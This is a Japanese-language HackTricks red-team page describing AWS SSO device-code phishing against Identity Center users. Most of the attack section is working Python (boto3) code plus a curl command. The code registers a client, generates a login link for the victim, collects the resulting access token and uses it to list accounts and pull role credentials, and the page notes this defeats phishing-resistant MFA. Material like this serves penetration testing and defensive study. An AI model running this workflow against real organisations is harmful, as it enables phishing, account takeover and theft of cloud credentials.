AWS - Identity Center & SSO Unauthenticated Enum

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

AWSデバイスコードフィッシング

最初にこのブログ投稿で提案されたように、AWS SSOを使用してユーザーにリンクを送信することで、ユーザーが承認すると、攻撃者はユーザーをなりすましてアクセスし、Identity Centerでユーザーがアクセスできるすべてのロールにアクセスできるトークンを取得できます。

この攻撃を実行するために必要なものは次のとおりです:

  • 犠牲者はIdentity Centerを使用する必要があります

  • 攻撃者は、被害者が使用しているサブドメイン <victimsub>.awsapps.com/start を知っている必要があります

前述の情報だけで、攻撃者はユーザーにリンクを送信することができ、承認されると攻撃者はAWSユーザーアカウントにアクセスできます。

攻撃

  1. サブドメインを見つける

攻撃者の最初のステップは、被害者企業がIdentity Centerで使用しているサブドメインを見つけることです。これは、OSINTまたは推測+BFを使用して行うことができます。ほとんどの企業はここで自社名またはそのバリエーションを使用しているためです。

この情報を使用すると、Indentity Centerが構成された地域を取得できます:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 被害者向けのリンクを生成して送信する

以下のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。 デモ用に、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるため、コンソールを終了しないでください:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. 被害者がそれを受け入れるのを待つ

被害者がすでにAWSにログインしている場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、ログインしてから権限を付与する必要があります。 これが現在のプロンプトの見た目です:

  1. SSOアクセストークンを取得する

被害者がプロンプトを受け入れた場合、次のコードを実行してユーザーをなりすましてSSOトークンを生成します:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSOアクセストークンは8時間有効です。

  1. ユーザーをなりすます

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

前の攻撃が「unphisable MFA」(webAuth)を使用していても機能することを知るのは楽しいです。これは、前のワークフローが使用されたOAuthドメインを離れることがないためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを置き換える必要がある場合には、デバイスコードワークフローが準備されているため、コードがデバイスによって知られており、ユーザーは異なるマシンでもログインできます。プロンプトが受け入れられると、デバイスは最初のコードを知っているだけでユーザーの資格情報を取得できるようになります。

これについての詳細はこの投稿をチェックしてください

Automatic Tools

References

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちらをチェック!!

HackTricksをサポートする他の方法:

最終更新